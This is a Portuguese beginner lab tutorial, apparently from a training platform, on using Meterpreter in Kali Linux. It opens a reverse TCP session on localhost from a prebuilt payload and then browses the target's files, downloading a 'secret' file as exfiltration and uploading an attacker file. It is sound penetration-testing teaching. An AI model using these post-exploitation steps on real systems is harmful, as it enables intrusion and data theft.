Interagir com o Sistema de Arquivos do Alvo usando Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá as técnicas fundamentais para interagir com o sistema de arquivos de um alvo usando o Meterpreter, um payload avançado que faz parte do Metasploit Framework. A pós-exploração é uma fase crítica de um teste de penetração, e ser capaz de navegar pelo sistema de arquivos, baixar arquivos sensíveis e fazer upload de suas próprias ferramentas ou scripts é uma habilidade essencial.

Vamos percorrer o processo de estabelecimento de uma sessão Meterpreter e, em seguida, usar comandos principais como ls, cd, download, upload e cat para explorar e manipular arquivos no sistema comprometido.

Listar arquivos e diretórios com o comando ls

Nesta etapa, primeiro estabeleceremos uma sessão Meterpreter e, em seguida, usaremos o comando ls para listar os arquivos no sistema alvo. Nosso script de configuração já criou um payload (payload.elf) e um arquivo de configuração de listener (listener.rc).

Primeiro, vamos iniciar o listener do Metasploit. Ele aguardará uma conexão de entrada do payload. Usamos o sinalizador -r para carregar nosso arquivo de recursos, que automatiza a configuração.

Abra um terminal e execute o seguinte comando:

msfconsole -r listener.rc

Você verá o console do Metasploit iniciar e o handler estará sendo executado como um job em segundo plano. A saída será semelhante a esta:

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

Agora, precisamos executar o payload para conectar ao nosso listener. Abra um novo terminal clicando no ícone "+" na barra de guias do terminal. Neste novo terminal, execute o arquivo payload localizado em seu diretório ~/project.

./payload.elf

Este comando não produzirá nenhuma saída. Volte para o seu primeiro terminal (aquele que está executando o msfconsole). Você deverá ver uma mensagem indicando que uma sessão foi aberta.

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Nota: Se você não for colocado automaticamente na sessão, pode listar as sessões ativas com sessions e interagir com uma usando sessions -i <ID>, por exemplo, sessions -i 1.

Você agora está em uma sessão Meterpreter, indicada pelo prompt meterpreter >. Qualquer comando que você digitar aqui é executado na máquina alvo. Vamos usar o comando ls para listar os arquivos no diretório atual do alvo.

ls

Isso listará os arquivos e diretórios no diretório de trabalho atual do alvo.

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

Alterar diretórios com o comando cd

Nesta etapa, você aprenderá como navegar pelo sistema de arquivos do alvo usando o comando cd (change directory) dentro do Meterpreter. Isso funciona exatamente como o comando padrão cd do Linux.

Nosso script de configuração criou um diretório em /tmp/victim_files no sistema alvo. Vamos navegar para o diretório /tmp.

cd /tmp

O comando em si não produz nenhuma saída. Para confirmar que mudamos de diretório, podemos usar o comando pwd (print working directory).

pwd

A saída mostrará seu diretório atual na máquina alvo.

meterpreter > pwd
/tmp

Agora que estamos no diretório /tmp, vamos listar seu conteúdo com ls para encontrar o diretório victim_files.

ls

Você deverá ver o diretório victim_files entre os outros arquivos e diretórios em /tmp.

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

Baixar um arquivo do alvo com o comando download

Nesta etapa, baixaremos um arquivo do sistema alvo para nossa própria máquina. Esta é uma técnica crucial para exfiltração de dados. Usaremos o comando download.

Primeiro, vamos navegar para o diretório victim_files que encontramos na etapa anterior.

cd victim_files

Agora, liste os arquivos neste diretório para encontrar nosso arquivo alvo.

ls

Você verá o arquivo secret_notes.txt que foi criado pelo script de configuração.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Agora, vamos baixar este arquivo para nosso diretório local ~/project. A sintaxe é download <file_on_target>. Por padrão, ele será baixado para o seu diretório local atual.

download secret_notes.txt

Você deverá ver uma mensagem de confirmação indicando que o download foi bem-sucedido.

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

Para verificar, você pode abrir um novo terminal (ou usar o segundo que você abriu anteriormente) e listar os arquivos em seu diretório ~/project em sua máquina local.

ls ~/project

Você agora deverá ver secret_notes.txt na lista de arquivos.

Carregar um arquivo para o alvo com o comando upload

Nesta etapa, você aprenderá como carregar um arquivo de sua máquina para o sistema alvo usando o comando upload. Isso é útil para colocar ferramentas, scripts ou outros payloads no alvo.

Primeiro, precisamos de um arquivo em nossa máquina local para carregar. Vamos criar um. Em seu terminal de shell local (não na sessão do Meterpreter), execute o seguinte comando para criar um arquivo chamado attacker_file.txt.

echo "attacker data" > ~/project/attacker_file.txt

Agora, volte para sua sessão do Meterpreter. Você ainda deve estar no diretório /tmp/victim_files no alvo. Carregaremos attacker_file.txt de nosso diretório local ~/project para o diretório atual do alvo.

A sintaxe é upload <local_file_path>.

upload /home/labex/project/attacker_file.txt

Você verá uma confirmação de que o upload foi bem-sucedido.

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

Para confirmar que o arquivo está no alvo, execute ls em sua sessão do Meterpreter.

ls

Você agora deverá ver tanto secret_notes.txt quanto o seu recém-carregado attacker_file.txt.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Visualizar o conteúdo de um arquivo de texto com o comando cat

Nesta etapa final, usaremos o comando cat no Meterpreter para visualizar o conteúdo de arquivos diretamente no sistema de arquivos do alvo, sem precisar baixá-los primeiro.

Você ainda deve estar no diretório /tmp/victim_files no alvo, dentro de sua sessão do Meterpreter.

Primeiro, vamos visualizar o conteúdo do arquivo original, secret_notes.txt.

cat secret_notes.txt

O comando imprimirá o conteúdo do arquivo diretamente em seu console.

meterpreter > cat secret_notes.txt
This is a secret file from the target.

Em seguida, vamos visualizar o conteúdo do arquivo que carregamos, attacker_file.txt, para confirmar que ele foi transferido corretamente.

cat attacker_file.txt

Você deverá ver o texto que criamos em nossa máquina local.

meterpreter > cat attacker_file.txt
attacker data

Este comando é extremamente útil para inspecionar rapidamente arquivos de configuração, logs ou scripts no sistema alvo.

Resumo

Parabéns por completar este laboratório! Você aprendeu os comandos essenciais do Meterpreter para interagir com o sistema de arquivos de um alvo.

Você estabeleceu com sucesso uma sessão do Meterpreter e praticou os seguintes comandos chave de pós-exploração:

  • ls: Para listar arquivos e diretórios.
  • cd: Para navegar no sistema de arquivos.
  • pwd: Para identificar o diretório de trabalho atual.
  • download: Para exfiltrar arquivos do alvo para sua máquina.
  • upload: Para colocar arquivos de sua máquina no alvo.
  • cat: Para visualizar o conteúdo de arquivos de texto diretamente no alvo.

Dominar esses comandos é um passo fundamental para se tornar proficiente com o Metasploit Framework e realizar testes de penetração eficazes.